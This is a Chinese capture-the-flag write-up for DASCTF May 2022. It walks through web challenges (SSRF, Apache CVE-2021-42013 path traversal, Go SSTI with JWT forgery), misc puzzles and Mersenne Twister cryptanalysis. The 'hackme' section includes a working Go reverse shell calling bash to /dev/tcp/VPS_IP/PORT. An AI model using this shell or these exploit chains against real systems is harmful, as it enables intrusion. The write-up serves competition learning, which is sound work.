2022DASCTF MAY 出题人挑战赛 Write up(Web Crypto全解!杂项五道)
字数 1629 2025-08-06 23:10:27

DASCTF MAY 出题人挑战赛 Web & Crypto 全解

0x01 Web 题目解析

Power Cookie 魔法浏览器

漏洞点分析

  1. ezcmsgetcurl 函数存在 SSRF 漏洞
  2. /sys/apps/controllers/api/Qpic.php 文件中调用了该函数
  3. 使用 sys_auth 函数对 URL 进行编码

利用步骤

  1. 找到加密密钥:Mc_Encryption_Key 位于 html/sys/libs/db.php
  2. file:///flag 进行编码得到:fc4ce2w9LD-P6QkYICFFPlJz7xuNL7ja9NawGYR3JmxFc1uAdIOgEWc
  3. 构造请求:index.php/api/qpic/img?str=fc4ce2w9LD-P6QkYICFFPlJz7xuNL7ja9NawGYR3JmxFc1uAdIOgEWc

getme

漏洞利用

  • 直接利用 Apache HTTP Server 2.4.50 的路径遍历漏洞 (CVE-2021-42013)
  • 通过 ../ 遍历读取文件

hackme

漏洞分析

  1. 存在 Go 文件上传点
  2. 访问 /users 路由提示找不到 users.go 文件
  3. 猜测 /users 路由会解析 users.go 文件

利用步骤

  1. 上传包含反弹 Shell 的 users.go 文件:
package main

import (
    "bytes"
    "fmt"
    "log"
    "os/exec"
)

var cmd = `bash -c 'exec bash -i &>/dev/tcp/VPS_IP/PORT <&1'`

func main() {
    cmd := exec.Command("sh", "-c", cmd)
    var stdout, stderr bytes.Buffer
    cmd.Stdout = &stdout
    cmd.Stderr = &stderr
    err := cmd.Run()
    outStr, errStr := string(stdout.Bytes()), string(stderr.Bytes())
    fmt.Printf("out:\n%s\nerr:\n%s\n", outStr, errStr)
    if err != nil {
        log.Fatalf("cmd.Run() failed with %s\n", err)
    }
}
  1. 上传完成后访问 /users 路由触发反弹 Shell

fxxkgo

漏洞分析

  1. Go SSTI + JWT 伪造
  2. 注册用户时使用 SSTI 注入:{{.}}

利用步骤

  1. 注册用户:/register POST: id={{.}}&pw=123
  2. 获取 token:/auth POST: id={{.}}&pw=123
  3. 将 token 添加到 X-Token 头中 POST 请求根路由触发 SSTI
  4. 通过 SSTI 获取 JWT 密钥:fasdf972u1041xu90zm10Av
  5. 在 jwt.io 伪造 JWT,将 is_admin 改为 true
  6. 使用伪造的 JWT 请求 flag 路由

0x02 MISC 题目解析

不懂PCB的厨师不是好黑客

解题步骤

  1. 搜索关键字"卡比"找到密码表
  2. 对照密码表解码:PTRH{GWDVSWVQBFISZSZ}
  3. 使用维吉尼亚密码,逆推 KEY 为 kirby
  4. 解码得到 flag:FLAG{IMVERYLIKEKIRBY}
  5. 改为小写并套上 flag 格式

神必流量

解题步骤

  1. 使用 binwalk 分析流量包发现 7z 文件
  2. 使用 010 编辑器找到对应位置的 16 进制数据并另存
  3. 发现为加密压缩包,密码为 123456
  4. 解压得到谷歌网页,下载后密码在注释中为 123456
  5. 逆向异或 key 6603
  6. 得到 flag:DASCTF{6f938f4c-f850-4f04-b489-009c2ed1c4fd}

rootme

解题方法

  • SUID 提权
  • 使用 date 命令读取文件

0x03 Crypto 题目解析

Yusa的密码学课堂——一见如故

解题思路

  1. 使用 z3 求解器逆向获取状态
  2. 定义左右移位函数:
def cs2l(y, shift):
    return ((y << shift) ^ (y >> (32 - shift))) & 0xffffffff

def cs2r(y, shift):
    return ((y >> shift) ^ (y << (32 - shift))) & 0xffffffff
  1. 逆向求解状态:
from z3 import *
from tqdm import trange

def gao(y_1):
    x_1=BitVec('x_1', 32)
    s=Solver()
    tmp = x_1 ^ RotateLeft(x_1, 11) ^ RotateLeft(x_1, 15)
    tmp = tmp ^ RotateRight(tmp, 7) ^ RotateRight(tmp, 19)
    s.add(y_1 == tmp)
    s.check()
    return (s.model().eval(x_1))
  1. 代入状态生成随机数并计算 flag 的 MD5

Yusa的密码学课堂——二眼深情

解题思路

  1. 利用 MT[227] = MT[0] ^ ((MT[227]_h(brute 0/1) + MT[228])>>1) 的关系
  2. 使用 228 去恢复 seed,概率约为 1/4
  3. 实现逆向恢复函数:
def _int32(x):
    return int(0xFFFFFFFF & x)

def invert_right(res,shift):
    tmp = res
    for i in range(32//shift):
        res = tmp^res>>shift
    return _int32(res)

def recover(last,index):
    n = 1 << 32
    inv = invert(2037740385,n)
    for i in range(index, 0,-1):
        last = ((last-1)*inv)%n
        last = invert_right(last, 30)
    return last

Yusa的密码学课堂——三行情书

解题思路

  1. 取 624*32bit 对应的数据
  2. 使用 z3 求解器建立方程求解初始状态
  3. 通过 624*32 条方程求解出初始状态
DASCTF MAY 出题人挑战赛 Web & Crypto 全解 0x01 Web 题目解析 Power Cookie 魔法浏览器 漏洞点分析 : ezcms 的 getcurl 函数存在 SSRF 漏洞 在 /sys/apps/controllers/api/Qpic.php 文件中调用了该函数 使用 sys_auth 函数对 URL 进行编码 利用步骤 : 找到加密密钥: Mc_Encryption_Key 位于 html/sys/libs/db.php 对 file:///flag 进行编码得到: fc4ce2w9LD-P6QkYICFFPlJz7xuNL7ja9NawGYR3JmxFc1uAdIOgEWc 构造请求: index.php/api/qpic/img?str=fc4ce2w9LD-P6QkYICFFPlJz7xuNL7ja9NawGYR3JmxFc1uAdIOgEWc getme 漏洞利用 : 直接利用 Apache HTTP Server 2.4.50 的路径遍历漏洞 (CVE-2021-42013) 通过 ../ 遍历读取文件 hackme 漏洞分析 : 存在 Go 文件上传点 访问 /users 路由提示找不到 users.go 文件 猜测 /users 路由会解析 users.go 文件 利用步骤 : 上传包含反弹 Shell 的 users.go 文件: 上传完成后访问 /users 路由触发反弹 Shell fxxkgo 漏洞分析 : Go SSTI + JWT 伪造 注册用户时使用 SSTI 注入: {{.}} 利用步骤 : 注册用户: /register POST: id={{.}}&pw=123 获取 token: /auth POST: id={{.}}&pw=123 将 token 添加到 X-Token 头中 POST 请求根路由触发 SSTI 通过 SSTI 获取 JWT 密钥: fasdf972u1041xu90zm10Av 在 jwt.io 伪造 JWT,将 is_admin 改为 true 使用伪造的 JWT 请求 flag 路由 0x02 MISC 题目解析 不懂PCB的厨师不是好黑客 解题步骤 : 搜索关键字"卡比"找到密码表 对照密码表解码: PTRH{GWDVSWVQBFISZSZ} 使用维吉尼亚密码,逆推 KEY 为 kirby 解码得到 flag: FLAG{IMVERYLIKEKIRBY} 改为小写并套上 flag 格式 神必流量 解题步骤 : 使用 binwalk 分析流量包发现 7z 文件 使用 010 编辑器找到对应位置的 16 进制数据并另存 发现为加密压缩包,密码为 123456 解压得到谷歌网页,下载后密码在注释中为 123456 逆向异或 key 6603 得到 flag: DASCTF{6f938f4c-f850-4f04-b489-009c2ed1c4fd} rootme 解题方法 : SUID 提权 使用 date 命令读取文件 0x03 Crypto 题目解析 Yusa的密码学课堂——一见如故 解题思路 : 使用 z3 求解器逆向获取状态 定义左右移位函数: 逆向求解状态: 代入状态生成随机数并计算 flag 的 MD5 Yusa的密码学课堂——二眼深情 解题思路 : 利用 MT[ 227] = MT[ 0] ^ ((MT[ 227]_ h(brute 0/1) + MT[ 228 ])>>1) 的关系 使用 228 去恢复 seed,概率约为 1/4 实现逆向恢复函数: Yusa的密码学课堂——三行情书 解题思路 : 取 624* 32bit 对应的数据 使用 z3 求解器建立方程求解初始状态 通过 624* 32 条方程求解出初始状态